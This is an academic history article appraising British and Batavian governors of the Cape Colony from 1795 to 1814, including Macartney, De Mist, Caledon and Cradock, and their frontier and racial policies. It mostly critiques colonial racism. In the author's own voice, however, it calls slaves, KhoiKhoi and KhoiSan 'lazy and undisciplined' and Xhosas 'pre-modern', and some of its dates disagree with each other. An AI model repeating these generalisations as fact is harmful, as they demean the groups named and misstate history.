An appraisal of the executive political leaders and regimes of South Africa: 1652 to 2018. Part 6: Performance profiles of executive political leaders and regimes for the period 1795 to 1872 (Cape Colony)

Gabriel P Louw


Research Associate, Focus Area Social Transformation, Faculty of Humanities, Potchefstroom Campus, North-West University, South Africa

Corresponding Author:

Prof. Dr. GP Louw; MA (UNISA), PhD (PU for CHE), DPhil (PU for CHE), PhD (NWU)


Keywords: appraisal, black, executive, history, leaders, performance, political, profile, regime, white.

Ensovoort, volume 40 (2019), number 4: 1

1. Background

1.1 Introduction

At the end of 1794, France invaded Holland and in January 1795, they captured Amsterdam. As a result, the monarch, the Prince of Orange, fled to England. In Holland the Patriot Party came to an agreement with the French Republic in May 1795 and took over power to create the Batavian Republic, for all intents and purposes a vassal state of the French. The Prince of Orange, living in exile in England, requested the British government to protect the Cape Colony until he could recover the throne. He wanted to prevent the strategic halfway house falling into the hands of the French. For the British government, this was an excellent opportunity to safeguard their immediate interests in India and they decided to send a fleet of nine vessels. This fleet was under the command of Admiral Sir GK Elphinstone. He was accompanied by a military force sixteen hundred strong under the command of General Sir JH Craig. The fleet reached False Bay in June 1795, and after minimal resistance, the VOC’s force surrendered. Commissioner-General AJ Sluysken, the acting Governor of the Cape, signed the Treaty of Rustenburg on 6 September 1795, handing over the Cape Colony to the British to rule temporarily on behalf of the Prince of Orange. The VOC’s soldiers became prisoners of war, while Sluysken returned to the Netherlands. General Craig acted as governor until May 1797 when he was relieved by the Earl George Macartney.1,2

The total population within the borders of the Cape Colony was as follows at that stage1:37:

  •     White free burghers numbering 16 000, with more or less 11 000 living in the rural areas and 5 000 living in Cape Town.
  •     About 1 500 White officials and 1 200 troops.
  •     Non-White slaves numbering 17 000.
  •     A KhoiKhoi population of 4 000.

Regarding the European population at the Cape in 1797, the proportion was 50% Dutch, 27% German, 17% French, and other elements representing 6%, mostly Scandinavian.1

1.2 The presence of the civilized world in the form of the British Empire as temporary rulers of the Cape, 1795 to 1803

We already saw in Part 5 of the series that the Cape’s inhabitants were exposed to different commanders and governors of the VOC over the period 1652. In general they brought very little that was positive, but they all had one common feature: they were all Dutch and of the same culture and political orientation as most of the White inhabitants living at the Cape. The inhabitants could address their appeals about wrongdoings by the VOC government and the commander and governors, to organizations that were Dutch, although these appeals mostly went unanswered. As a direct result of the VOC’s mismanagement on many terrains, a culture of lawfulness had developed in the Cape Colony, and this had become entrenched among the White frontiersmen. This made them resistant to stricter governance and order and to the change to a more humane attitudes to the non-Whites. The arrival of the British as temporary rulers meant the end of the VOC. The British had often been at war with the Dutch before this and were directly responsible for the downfall of the VOC’s rule at the Cape with their shipping trade embargos.1-5

The free burghers certainly did not see the British as trustworthy comrades and true partners when they came to the Cape in 1795, especially not the unruly White frontiersmen. Most of all, they did not foresee the collapse of the VOC and its partnership with the Netherlands, opening the door for one of their greatest enemies to become their ruler without a shot being fired. The unpreparedness of the free burghers is reflected in the arrogance of the inhabitants of Graaff-Reinet and Swellendam when they declared themselves “independent” from the Cape, seemingly as part of the Batavian Republic.1-3

On the other hand, the British were interested in expanding their Empire and they had little respect and consideration for different from what they considered their “civilized” culture. Their domination of the globe was equally entrenched in their thinking, and they forced many groups around the world to march to a British tune. They came with an aggressive intent to shape and control the indigenous cultures and people under their control. Those who adopted the British culture were always ultimately still the underdogs. The Europeans of the 1800s, like the British at the Cape, were inclined to distinguish themselves from “other” human beings by taking and consuming a growing share of the world’s goods. They skillfully manipulated the environments in their territories. Roberts4 shows this very well in his research. Self-service, self-enrichment and self-empowerment formed the bases of their British thought and behaviour. They tapped other nations’ resources, potential and human energies by overpowering them. In this way, they created a self-perpetuating wealth, opening up and creating new resources and more wealth at the costs of the oppressed.4

Roberts writes4:761:

The profits of Congo rubber, Burmese teak or Persian oil would not for a long time be reinvested in those countries. The poor European and American benefited from the low prices of raw materials, and improving morality rates tell the story of an industrial civilization finding it possible to give its peoples a richer life. Even the European peasant could buy cheap manufactured clothes and tools while his contemporaries in Africa and India still lived in the Stone Age.

In the minds of the British, the inhabitants of the Cape Colony were uncivilized. A later reference after the British final occupation of the Cape Colony in the 1800s reveals that the felt obliged to make the people of the backwards Cape Colony acceptable and functional so that they could become part of the mighty British Empire.

Compared to what the British knew as civilized, the Cape Colony indeed did not hold to this standard Roberts writes4:761:

When they looked for it, they tended to see only heathen, backward, benighted people or a few striving to join the civilized. Such an attitude was an important part of the story of European success; what were taken to be demonstrations of the inherent superiority of European ideas and values nerved men to fresh assaults on the word and inspired fresh incomprehension of it. The progressive values of the eighteenth century provided new arguments for superiority to reinforce those originally stemming from religion. By 1800, Europeans had lost almost all of their former respect for other civilizations. Their own social practice seemed obviously superior to the unintelligible barbarities found elsewhere.

It was in this “uncivilized” Cape Colony that the British arrived in 1795. Up to 1872, they ruled the area without disturbance by means of a series of autocratic governors. The period 1795 to 1872 can be divided in four: the first British occupation as caretaker of the Cape Colony (1797–1803); the Cape as a colony of the Batavian Republic (1803–1806); the second British occupation of the Cape Colony by conquest (1806–1814); and the British occupation of the Cape Colony by treaty (1814–1872). A total of twenty-nine governors served between 1795 and 1872 (2 Dutch and 27 British).

1.3 Overview of this study

This article (Part 6) is part of the second project (Project 2) on the executive leadership and regimes of South Africa. The two projects cover the period 1652 to 2018. The first series (Project 1) of five articles (Part 1 to 5) have been published in Ensovoort. The first five articles evaluated and described the performance profiles of the executive political leaders and regimes of South Africa (previously the Cape Colony) for the period 1652 to 1795. These five articles, published under the main title: An appraisal of the executive political leaders and regimes of South Africa: 1652 to 2018, are titled as follows:

  •     Part 1: Leadership characteristics in perspective;
  •     Part 2: The entities in government and society that executive political leaders use to aid     their political behaviour;
  •     Part 3: Factors that influence the development of executive political leaders;
  •     Part 4: A basic checklist for the appraisal of executive political leaders and regimes;
  •     Part 5: The performance profiles of executive political leaders and regimes for the period     1652 to 1795.

The reader is referred to this first project for the theoretical basis of this endeavour. The five articles that constitute Project 2 cover the remaining period of 1796 to 2018. In this project, the focus is on the performance profiles of executive political leaders and regimes in five timeframes: 1796 to 1872 (Part 6), 1873 to 1909 (Part 7), 1910 to 1948 (Part 8), 1949 to 1994 (Part 9) and 1995 to 2018 (Part 10).

2. Method

The research was done by means of a literature review. This method has the aim of building a viewpoint from the available evidence as the research develops. This approach is used in modern historical research where there is not an established body of research, like with the functioning of executive political leaders and their regimes of governance for the period 1795 to 1909 in South Africa. The sources included articles for 2018, books for the period 1945 to 2018 and newspapers for the period 2016. These sources were consulted to evaluate the functioning of executive political leaders and to put thoughts, views and opinions on the South African political leadership for the period 1795 to 1909 in perspective.6-8

The research findings are presented in narrative format.

2.1 Problem statement

The research question asks whether the executive political leaders of South Africa (Cape Colony) during the period 1795 to 1872 made any extraordinary contributions to the country and its people and whether their behaviour as leaders and individuals was above reproach.

  •     People refers to all the South African groups – the various races, cultural groups, tribes, etc. It includes the minorities and the majorities – it does not refer to any sole grouping in terms of dominant political party, etc. In the above reference would it be more correct to refer to     “peoples”.
  •     Country refers to today’s greater South Africa as represented by the Republic of South Africa. It also refers to the Cape Settlement and Cape Colony, etc.

2.2 Research aims

  •     The first aim of the research is to determine if the South African executive political leaders and regimes of the period 1795 to 1872 made extraordinary contributions to the country and its people during their time of rule.
  •     The second aim of the research is to determine if the behaviours of the South African     executive political leaders of the period 1795 to 1872 were above reproach.

In light of above, two research questions must be asked and answered to discover the truth about the South African executive political leaders. This then leads to two objectives, as well as two hypotheses and two alternative hypotheses.

2.3 Research questions

The following two research questions focus the research intentions:

RQ1: Did the South African executive political leaders of the period 1795 to 1872 make any extraordinary contributions to the country and its people during their times in office?

RQ2: Were the behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as individuals above reproach?

2.4 Objectives of the study

The following two objectives guide the study:

RO1: To determine if the South African executive political leaders of the period 1795 to 1872 made any extraordinary contributions to the country and its people during their time in office;

RO2: To determine if the behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons were above reproach.

2.5 Hypotheses

The following two hypotheses and two alternative hypotheses are tested:

H1: The South African executive political leaders of the period 1795 to 1872 made extraordinary contributions to the country and its people during their time in office.

H1A: The South African executive political leaders of the period 1795 to 1872 did not make extraordinary contributions to the country and its people during their time in office.

H2: The behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons were above reproach.

H2A: The behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons were not above reproach.

3. Results

3.1 First British occupation as caretakers of the Cape Colony (1797–1803)

3.1.1 Autocratic governors

During the British government’s acting as care-taker of the Cape Colony on behalves of the Prince of Orange, the following four British governors’ served1,2,9:

1797–1798: George Macartney

1798–1799: Francis Dundas

1799–1801: Sir George Yonge

1801–1803: Francis Dundas

The British temporary military management under General Craig started well and he attracted positive input from many pro-colonists. The colonists were required to take an oath of allegiance to the British king for as long the Cape stays British property. The rights and property of the VOC were transferred to the new authority, but the laws, rights and customs of the colonists stayed the same. The Cape, Stellenbosch and Swellendam accepted the new regime, but Graaff-Reinet stayed aloof until November 1796 after the defeat of the Dutch fleet at Saldanha Bay. Many of the Cape inhabitants, even those took the oath of allegiance, remained hostile to the British.1-3,5 George Macartney (1797–1798)9        

On 5 May 1797 with the take-over by governor, Duke Macartney, political management suddenly changed to a strict form of Crown colony management. He introduced Imperial Authority immediately at the Cape and over the Colony, a system that remained valid until 1872. All civil and military powers were now vested in the hands of the Governor, he abolished the Political Council and soon after that the other bodies. He also created a strong official management, excluding the colonists. Any form of direct representation was absent and a further loss of political freedom followed. Strict action was taken against colonists who refused to take the oath of allegiance to the British king. A new High Court of Justice replaced the Council of Justice, while the Appeals Court consisted of the Governor and Lieutenant Governor (the commander of the military forces) with the right of higher appeal to the Privy Council in Britain. Most of the other administrative and judicial bodies of the VOC remained. The Roman-Dutch Law was retained.1-3,5

Improvements included the abolishment of corrupt monopolies, overdue land tax were written off, there was freedom of conscience and religious freedom, and torture and the barbaric execution of the death penalty on slaves were abolished. He also made the benefits of the two English Navigation Acts of 1651 and 1660 applicable on the Cape colonists.1,2,5

However, the British love for material gain emerged in the benefits and salaries paid to the British top executives and their officials, undoubtedly to detriment of the colonists. In this sense, the British were no improvement. British officials like Frans Bresler and John Barrow who were placed at Graaff-Reinet to oversee the eastern border of the colony were responsible for much of the hostility towards the British. Macartney favoured and promoted Anglo-orientated colonists, which damaged his relationship with the White inhabitants.1,2,5

The biggest challenge for Macartney was to solve of the conflict between the races, especially keeping the Xhosas within in the confines of their territories with promises and smart talk. More or less the same approach of “termination” was followed that the VOC took. The colonist-commandos received orders to keep them in their place and if needed, to drive them to the Kalahari. He tried to solve conflict by separating White and Black along the borders where the different groups started to come into contact more and more. The Macartney apartheid of 1798 failed in the end, as did the grand Apartheid of the NP a hundred and fifty years later.1,2,5

Although the temporary British government’s executive leader created a better administrative environment, Macartney failed to establish a balanced government to benefit all the inhabitants living in the Cape Colony. The British government, like the VOC government previously, was one of autocracy. Francis Dundas (1799–1799, 1801–1803)9

The Lieutenant Governor of the Cape Colony’s forces, Francis Dundas, acted as the first governor (the office was run by Sir George Yonge’s from 1799 to 1801).

Craig’s arrest of the two Graaff-Reinet leaders, Adriaan van Jaarsveld and Marthinus Prinsloo, caused conflict between the early Afrikaners and the Britons that did not calm down before 1961. The result of these arrests was a group of colonists from Graaff-Reinet on the eastern border staged their first failed rebellion. At the same time the attitude of the KhoiKhoi, mostly those living along the Orange River on the undefined northern border, changed for worse and serious conflict broke out between the Whites and the KhoiKhoi. Some British officials sided with the KhoiKhoi, which caused a further deterioration of the relationship between the early Afrikaners and the British governor and the other officials appointed by the British government. Meanwhile, an alliance formed between the KhoiKhoi and the Xhosas. The situation became very dangerous for the colonist farmers on the Eastern Frontier. The Xhosas attacked the southern part of Graaff-Reinet, committing atrocities and creating enormous chaos during the Third Xhosa War. No real action against the Xhosas and KhoiKhoi followed. The only consequence was new regulations, and the early Afrikaners felt that these regulations favoured the KhoiKhoi and the Xhosas. The British authority compelled the colonists to behaviour well towards the KhoiKhoi and the Xhosas. The British also limited the punitive action farmers could take against the KhoiKhoi and the Xhosas after an attack or livestock theft. The eastern border districts were reduced to chaos, with homesteads and farms being burned down. Racial hatred against the KhoiKhoi, Xhosas and KhoiSan deepened, especially after the Xhosas occupied large colonial areas in the east of the colony.1,2,5

Although Dundas did improve the Cape Colony in some ways, he could not solve the increasing conflict on the eastern border. The political strife between Blacks and Whites was far worse by 1803 than in 1795.

3.2 Batavian Republic (Dutch Colony) (1803–1806)9

During the Council for Asian Possessions’ rule of the Cape Colony on behalf of the Batavian Republic, the following two governors served9:

1803–1804: Jacob Abraham Uitenhage de Mist

1804–1806: Jan Willem Janssens

The Peace of Amiens between Britain and France gave the colonies back to the Netherlands. The VOC was closed down in 1798 and replaced in May 1800 by the Council for Asian Possessions, a body subject to the Dutch government. They were responsible for the further administration and management of the Cape Colony. The Cape was handed back to the Batavian Republic in February 1803 to be governed by a commissioner general. De Mist was appointed in the position, assisted by General JW Janssens as the governor in charge.1,2,5

De Mist quickly established a functioning system. Many of the VOC bodies were reinstated, like the Political Council and the Council of Justice. The Cape Colony’s juridical status changed to that of a province of the Netherlands and was managed directly from there.1,2,5

The non-Whites who had no human rights up to 1803 were now burghers and formed the majority of the population. By 1803 there were 22 000 Whites versus 25 000 slaves and 10 000 KhoiKhoi (making the population ratio 4:6), while in 1805 there were 25 757 Whites versus 29 545 slaves and 20 006 KhoiKhoi (ratio 3:6). Both De Mist and Janssens, as liberal thinkers, were worried about the oppression of the Blacks by the government itself and by the colonists, especially in the areas along the inland borders. This concern was justified, seeing that the non-Whites were the majority, and growing, left without any civil or human rights from 1652. The Dutch leaders improved on many of the regulations designed to limit the lawless actions of the White frontiersmen. They for instance compelled White employer to sign service contracts with their KhoiKhoi employees. This was a positive step that better work- and race relations. De Mist also wanted to gradually emancipate the slaves by freeing slave children at birth. However, his short period at the Cape and the rigid attitudes of the White farmers thwarted his humanitarian efforts. The White farmers wanted cheap labour and they kept importing of more slaves.1,2,5

Another positive contribution was De Mist’s establishment of a Board of Education to manage education and to rectify the neglect of education by the British caretakers. His intent to get education of an equal standard to the frontiersmen is especially noteworthy. He also focused on maintaining of free trade and made efforts to improve the local wool and wine industries. With respect to religion, he introduced measures to reorganise and recognise various religious dominations. This included help with gatherings of congregations to the payment of their ministers. However, he made it clear that the church in all its forms is subject to the state. He addressed the colour issue directly, opening religious practice to all.1,2,5 Van der Merwe writes5:147:

…public religious gatherings on Sundays could only take place on Sundays with open doors, so that no-one, Christian or heathen, White or Black, slave or free man, could be refused entry (Own translation).

For the first time since 1652, there was the flickering of hope that there would be a form of executive and political leadership that would serve all the populations of the Cape, gaining the respect, support and approval of all races. The hope was that this leadership would guide the future politicians in their duties and behaviours as leaders at the Cape.1,2,5

De Mist’s Memorie expounded a new civil and juridical code of governance that was unknown to the Cape Colony until that time. It covered every facet of live from health, education, religion, economics, farming, civil and political rights, defence to taxation. Although the De Mist Code did not suggest one-man-one-vote, his various governmental and civil bodies granted more representation to inhabitants in every sphere of life and clearly intended to end civil unrest in daily life. His code also limited power abuse by the executive leaders of the Colony and its inhabitants with respect to economic, civil, political and juridical rights. De Mist did wonders in his short time (1803–1804) at the Cape. Although his progress with rights for non-Whites was limited, he significantly improved the situation of the Whites.1,2,5

Regarding the Black–White issue, especially in the Graaff-Reinet and areas along the eastern border, he addressed possible future mistreatment of the slaves, KhoiKhoi, Khoisan and the Blacks by the colonists by the placing of a subdivision of soldiers there to oversee justice. However, his liberal policy of befriending the Xhosas failed, as evident from continuing attacks. De Mist’s one-sided view of the non-Whites as the only victims at the hand of the colonists changed over time. The Whites often saw reprimands for illegal Black behaviours as support for the Whites. Later in history, Whites often cited these incidents as proof of the evil intentions of the KhoiKhoi, Khoisan and the Xhosas in the 1800s. They rarely mention the transgressions of the Whites, like land grabbing, stock theft and the murder of these non-Whites as punishment actions (like the “hunting” of the KhoiSan).1,2,5

Historical writings rarely reflect both sides of the story. The events occurred in a less civilized world than today. The Whites saw the KhoiKhoi, Khoisan and the Xhosas as African barbarians, and the non-Whites saw the White frontiersmen as White barbarians. The impact of these early conflicts on later hostility and counter-hostility is often underestimated. The problems that started in 1652 and that went on to affect South African politics until 1994 and beyond, did not resolve under De Mist.1,2,5

In 1803 De Mist entered a political system where racial differences (and discrimination and domination) affected religion, culture, cognition, emotion, education, lifestyle and standard developments and functioning and where these differences were already deeply entrenched. The situation could not have changed with a single code. Continuing the separation that Macartney started in 1798 seemed the best solution, but it ultimately spelled disaster.1,2,5 Van der Merwe describes the doom lurking in De Mist’s policy5:153:

…the intention of the Batavian authorities was to create a better grounding for the relationship between the colonists and the Bantus along the eastern border. According to Alberti [captain of the military forces based at Fort Frederick on the Eastern border and later military magistrate at Uitenhage in charge of overseeing peace in the area], the policy had to be founded on two principles, namely dispelling all Bantus from the Suurveld and driving them across the colonial border, and ending all contact between colonists and Bantus, and between Bantus and Hottentots. This principle was also included in the first message of De Mist to the settled populations along the border districts and to the Xhosa captains. The Bantu had no concept of ‘mine’ and ‘yours’, and this was at the core of all the problems. Nobody was allowed to move across the border and back. Alberti felt that sixty soldiers would be enough to patrol the border. The policy therefore came down to inexorable separation to maintain peace between the eastwards migrating Whites and the southwards moving Bantu stream (Own translation).

The above description reveals the complete lack of understanding of the problems along the border. The Blacks and Whites were seen as two groups, there was no understanding that neither these categories consisted of a natural unity. At this point in history, not a single executive political leader, Dutch or British, had shown insight or had made decisions beyond their own short-term interests. The leaders came from European tradition of the separation of nations where each nation is financially independent and large enough to form a nation. This was not the case here. What is more, the right to land and the ownership of land played a significant role in the relationships. The South Africa of the 1800s was basically an agricultural economy, making the sole ownership of land a point of conflict. It was naïve of Alberti to think that they could stop the migration of the different groups. It was a complicated process, and the politicians of the 1800s were used to settling these kinds of problems with brute military force.1,4

De Mist’s hopes that his governance would inspire good leadership that would serve all the populations of the Cape and that he would be remembered as a leader who was respected, supported and approved by all the different races, failed to become a reality. He started well in 1802, but he undid all of his own good work. This begs the question: Would any future South African judiciary or political regime or executive leader be able to do better than De Mist? Time will tell.

De Mist and his assistant Janssens inherited a dysfunctional system. They had the genuine intention to better it and made honest attempts in their short rule of two years (1802–1804). However, it was already an unhealthy situation where each race was trapped in their little corner with their own fears. Van der Merwe5 writes as follows about De Mist and Janssens5:155:

However, their work at the Cape was not without fruit, although their limited time did not allow for it to be thoroughly tested. Their labour was fraught with extraordinary difficulty. All their actions and decisions were aimed at promoting the good of South Africa. In cases where measures were not received well by the citizens, this should not be attributed to ill will or a lack of diligence, but rather to the fact that the authorities were not informed of the intricacies, morals and habits of the communities to which these measures were made applicable. They regarded the communities as people with the same prejudices as all colonists, which was not true. This became clear from the colonist’s views of all beings who are not White, and their religious views in this regard. In essence the leaders were confronted here with a people who were no longer Dutch, but who showed the traits of a new, separate nation with an own language and views regarding all terrains of life, and they differed significantly from those of their Dutch, German and French contemporaries (Own translation).

Van der Merwe5 poignantly captures the problems created by the fact that the White inhabitants were developing a unique political identity. They actually needed their own state by the 1800s, run independently without outsider interference or intervention. He highlights the beginnings of the early Afrikanerdom, a people prepared to challenge anyone who dares to limit their identity and human rights. However, this imminent Afrikaner historian does fail to describe, like many of his contemporaries, the many changes and transformations the KhoiSan, KhoiKhoi and Xhosas also underwent, often by force, since the 1600. Nor does he acknowledge the role, good or bad, that the Whites (both inhabitants and authorities) at the Cape played in these many changes and transformations. This information sheds light on why the Cape Colony’s politicians and executive leaders failed to appoint good leaders and to establish a permanent regime up to the 1800s.1,2,5

Most historians and Afrikaner scholars fail to offer sound alternatives to the political debacle of the 1800s and to indicate how early Afrikaner nationalism and its hunger for territory and political power over the non-Whites could have been managed differently. It took an outsider, the historian JM Roberts4, to do this in the space of only a few pages in his History of the World. The De Mist Code was by far the best guideline for managing affairs at the Cape. It had the potential to change the attitudes of both non-White and White inhabitants and to unite them under a good leader. The potential of the code was immediately lost with the British imperial intervention of 1805. The British failed to understand the early Afrikaner, perhaps as result of their “civilized” British culture. De Mist and the Batavian rulers did have this understanding. Van der Merwe5 rightfully points out that there was too much of the Rousseau doctrine left in the British mindset and too little common sense.1,2,4,5

However, the British also failed as a result of how contaminated the system was by the political dogmas, doctrines and ideologies of the early Afrikaners and the non-Whites themselves. Neither the early Afrikaners nor the non-White tribes designed these dogmas, doctrines and ideologies. They were inherited from the various foreigner rulers of the Cape and exacerbated by poor leadership. The British were notorious for ruling with dogma.1,2,4,5

De Mist retired on 25 September 1804 and moved back to the Netherlands in February 1805, leaving the enormous task of being governor to Janssens. However, the plans for the new Cape Colony came to an absurd end with the military takeover on 18 January 1806. The Cape surrendered to the British forces under David Baird for a second and last time.1,2,5

3.3 Second British occupation of the Cape Colony (1806–1814)9

3.3.1 Autocratic governors

Up to 1814 the British held the Cape Colony by conquest and not by treaty rights. The legal position of the Cape Colony as a full British possession was only finalized with the Peace of Paris. The six governors for 1807 to 1814 were1,2,9:

1807–1808: David Baird

1808–1808: Henry George Grey

1808–1811: Du Pré Alexander, 2nd Earl of Caledon

1811–1811: Henry George Grey

1811–1814: John Francis Cradock

1813–1814: Robert Meade  (acting)

From day one it was clear that although the Cape Colony was held by conquest, which should technically have limited their rights to make large statutory and administrative changes, many changes and autocratic actions followed.1,2,5

The second British occupation resulted in comprehensive statutory changes and political conflict between the early Afrikaners and the British, as well as between the early Afrikaners and the various non-White ethnic groups. Although the British promised to maintain certain parts of the De Mist code, there was a dramatic change from a centralized governmental system to a autocratic one-man regime with the governor as head of the executive, legislative and juridical powers. There was no a consulting body to guard against the governor’s misuse of powers, he ruled by proclamation.10

The six governors were autocratic rulers who were only subject to the Secretary of State in London. Their submission was reflected in favouring the followers of the Prince of Orange in civil service appointments at the Cape. Although the Roman-Dutch Law was retained, the High Court was demoted to its lower level status of the pre-Batavian times, while the despised Office of the Fiscal with all its negative features was restored. The Burgher Senate was reinstated as a town council for Cape Town, while it also became an advisory body to the Cape government. Again, the Cape administration was overburdened by highly paid officials as during the first British occupation. The De Mist Code’s stipulations on churches and the improved Batavian administration of rural areas were retained, but the central governmental system was replaced by an autocratic one-man rule. At this time there was still no sign of democracy at the Cape.10

The White colonists were doing well financially as result of the growth in the shipping industry and better sales of produce to these visiting ships and a rise in exports. However, the Black–White conflict really reared its head. Racial conflict and governance problems were awaiting the colony. The Earl of Caledon (1808–1811)9

Caledon’s reign was autocratic, with him being in charge of the executive, legislative and judicial powers. There was no advisory body to temper his behaviour. He legislated by proclamation and was only accountable to the Minister of Colonies in London. He could do as he pleased, and in the case of urgent decisions, he did not always act with wisdom. The lag-time involved in communication meant that London could often not intervene.1,2,10

Some of Caledon’s more positive policies include the division of the territory’s six districts, namely the Cape, Stellenbosch, Tulbagh, Swellendam, Graaff-Reinet and Uitenhage, into smaller districts. This resulted in better administration and offered Caledon more control over the countryside and the unruly White frontiersmen. It enabled him to gradually expand the British system of centralizing political, judicial and legislative power. He attained this goal by establishing a circuit high court at Caledon to support the magistrate’s court, lower the cost of high court cases.10

Caledon regarded human rights as important, especially the position of the KhoiKhoi in the Colony. Up to this point the KhoiKhoi were treated as an independent group managed by own chiefs, although under the care of the Cape government. However, they disintegrated into small travelling groups without work or sometimes in the service of the White farmers. In November 1809, Caledon made the KhoiKhoi inside the country’s borders citizens to whom all laws were applicable. In an effort to manage their movement, all KhoiKhoi had to have a permanent place of residence and needed a pass from their employers to move around. Caledon tried to instil a work ethics in the KhoiKhoi and to make them a future substitute for the slaves, who became a problem for London from 1809. He also wanted to stop White farmers from abusing the KhoiKhoi and being cruel by enforcing work contracts between farmers and workers. This decision elicited a reaction from the London Mission’s managers in South Africa, Read and Van der Kemp, who lived in Bethelsdorp. Dissatisfaction with Caledon’s racial policy spread to London where the philanthropist William Wilberforce was already creating awareness of slavery and the mistreatment of the KhoiKhoi by the Whites at the Cape. This issue quickly escalated after 1814.1,2,10

The Xhosa problem needed swift action from Caledon. They were still living in the Zuurveld and frequently entered the districts of Graaff-Reinet and Uitenhage, causing chaos. However, it was clear to Caledon that driving them back would create conflict with London. He ultimately left an already failed border policy untouched. Black and White were in direct conflict over land, with various governments failing to offer a sound future strategy and a plan for a permanent working relationship between the two groups.1,2,10 John Francis Cradock (1811–1814)

The new governor ignored London’s request not to address the “Black problem” with military action and in the fourth Xhosa war, he drove the Xhosas back across the Fish River. In an effort to limit the fast northwards migration of White frontiersmen into Black territory, he also introduced a new system of land ownership in Cradock in 1813 where the Black-White conflict was prominent. He replaced the loan farm system with a system of hereditary possession, hoping to bind the farmers to their farms to stop them from migrating.10

Cradock’s actions against the Xhosas and the KhoiKhoi quickly got a reaction from the White missionaries at Bethelsdorp and other role players concerned about human rights. This led to the so-called “Swarte Ommegang” (Black Circuit) where several White farmers and their families were accused of theft and murdering KhoiKhoi. Although these accusations were found untrue by judges Strubberg and Cloete of the Circuit High Court, the White farmers lost trust in London as a ruler and in the foreign missionaries. From then onwards the mission stations were side-lined. The Blacks and Whites were now positioned as enemies.1,2,10

Strubberg and Cloete of the Circuit High Court gave a description of how chaotic Black-White relations became in 1814. The groups were played off against each other by foreign powers like Wilberforce in London and Read and Van der Kemp in South Africa. The two judges described the KhoiKhoi at Bethelsdorp as people living in a situation where10:162:

…the natural state of barbarism has seemingly taken the place of civility and social order…where laziness and idleness and the subsequent dirtiness and taintedness have grown to perfection (Own translation)

The two judges also commented on the feebleness of people like Wilberforce in London and Read and Van der Kemp in South Africa as they played off Blacks and Whites in 1814. Grundlingh quotes them as follows10:161:

If the lords Van der Kemp and Read went to the trouble of succinctly and impartially investigating the different stories they were told, they would have viewed many of these complaints that caused a racket inside and outside of the colony as purely fictional, and as a result neither the court nor the government would have been pestered (Own translation).

The Black Circuit was the first sign for the Cape Colony’s inhabitants, especially for the White frontiersmen, that the Peace of Paris of 1814 would change their lives forever and that the British had different plans for them.

Roberts writes as follows about the dramatic impact of the British political system from 1814 onwards4:740:

No European nation has so successfully seeded the globe with its own stock as the United Kingdom. By the end of the nineteenth century, it had created an Anglo-Saxon world which was an identifiable sub-unit within the ambit of European civilization, with an historical destiny diverging from that of the European continent. Its components included growing British communities in Canada, Australia and South Africa (the first and the last containing other important national elements, too).

The Dutch descendants in the colony had settled into a quasi-Dutch lifestyle and governmental dispensation. The change to an autocratic British system was dramatic and they struggled to adjust. To some extent, they never accepted it and sought to escape, like with the Great Trek later. The indigenous people who mostly lived outside the Cape’s statutory and political management and control experienced this change from a Dutch to a British system as less dramatic. This was also true for the slaves who had become separated from the ruling processes as a result of their loss of human rights.1,2,5,10

Looking back at the British rule of 1806 to 1814 critically, it was an immensely autocratic regime, for Blacks and Whites alike. It left the Whites confused. The situation was equally devastating for non-Whites, especially the slaves, the KhoiKhoi and the KhoiSan. Notwithstanding their new status as citizens awarded by Caledon, they were exposed to abuses by the White frontiersmen of Swellendam, Graaff-Reinet and Uitenhage more than ever. On the other hand, the slaves, the KhoiKhoi and the KhoiSan were also often cruel and barbaric towards the Whites. Livestock was frequently stolen and they were lazy and undisciplined. No one-sided description of either of the groups at the Cape could do justice to history. These renditions of history should be considered critically. For example, one Afrikaner historian wrote as follows during the heyday of Grand Apartheid10:161:

Some of the complaints pertained to events in the remote past and a great number sprung from the fruitful and stimulated imagination of the Hottentots with their unbridled tongues and the malicious of unbalanced negro-loving zealots. It is true that there were cases where workers and servants had been abused in the pioneer community along the Cape borders, just like in America and even in a factory country like England, but one can assume that the Cape colonists did not act more callous than their White peers elsewhere and that the non-Whites in the Cape colony in general were better off than people elsewhere (Own translation).

Grundlingh10 words here are not quite true and are to a certain extent in line with the thinking of DF Malan, HF Verwoerd and BJ Vorster, leaders of the racist NP. He contradicts himself no less than six times in the above passage. By referring to the “remote past”, he acknowledges that the early Afrikaners did indeed commit wrongs towards the KhoiKhoi. With the reference to “unbalanced negro-loving zealots” he not only uses inappropriate language to create a false history for his Afrikaans readers, but also shows his subjectivity. This was so characteristic of the Afrikaner nationalist historians who wrote during Grand Apartheid. When he speaks of the “pioneer community along the Cape border”, he gives away his naiveté about who the Swellendam, Uitenhage and Graaff-Reneit border farmers really were. They unlawfully invaded Black territory, what we would call terrorism today. The claim that “the non-Whites at the Cape colony in general were better off than elsewhere” is a blatant lie. White farmers from Swellendam and environs went on official “hunting expeditions” to “terminate” KhoiSan and to take the KhoiSan womenfolk and children as “apprentices”, meaning forced slaves. This makes his claim far-fetched. These farmers constantly rebelled against the government, one reason being that their actions were no longer condoned.1,2,10

I would like to refer back to Geen’s1 words quoted in Part 5 about the calibre of the farmers who lived in the region of Swellendam, Graaff-Reinet and Uitenhage around 1814. They became the Voortrekkers, some rising as prominent Voortrekker leaders and politicians in the later republics of Transvaal and the Free State. Geen said1:29:

…but the isolation and difficulties of frontier life also made them limited in their outlook, impatient of all forms of control and so intensely individualistic that it became difficult to unite them in effective cooperation. They lost most of their civilization on the way to the Promised Land. Some could write, still more could sign their names, many read the Bible, especially the Old Testament, into which they read a justification of themselves, their beliefs and all their works, but for the rest learning and the affairs of the great world were closed books to them.

This lawlessness among the White frontiersmen resulted in the Slaughter’s Nek Rebellion in 1815 under Frederick Bezuidenhout, which ended with the hanging of five of the ringleaders by Lord Charles Somerset. Geen writes1:57:

In 1815, there occurred the Slaughter’s Nek Rebellion, a typical incident of lawlessness on a distant and disturbed frontier. It was really nothing more than the resistance of a truculent type of frontiersmen to the new conceptions of law, order and justice that were gradually being made effective in the remoter districts.

These farmers lost their civility on their way to the Promised Land. They were cut off from the rest of the world, the Bible serving as their only literature. They read especially the Old Testament and used it justify their actions. This isolation self-righteousness made for naïve decisions on governance later in the republics2:120-121:

The new British authorities had to deal with many of these culturally poor and isolated early Afrikaners on the one hand, and pre-modern Xhosas, KhoiSan and KhoiKhoi with little understanding of simple political and governance matters on the other. They had been schooled to deal with the enemy the African way for centuries, namely war. The political refined British found it difficult to manage the situation.

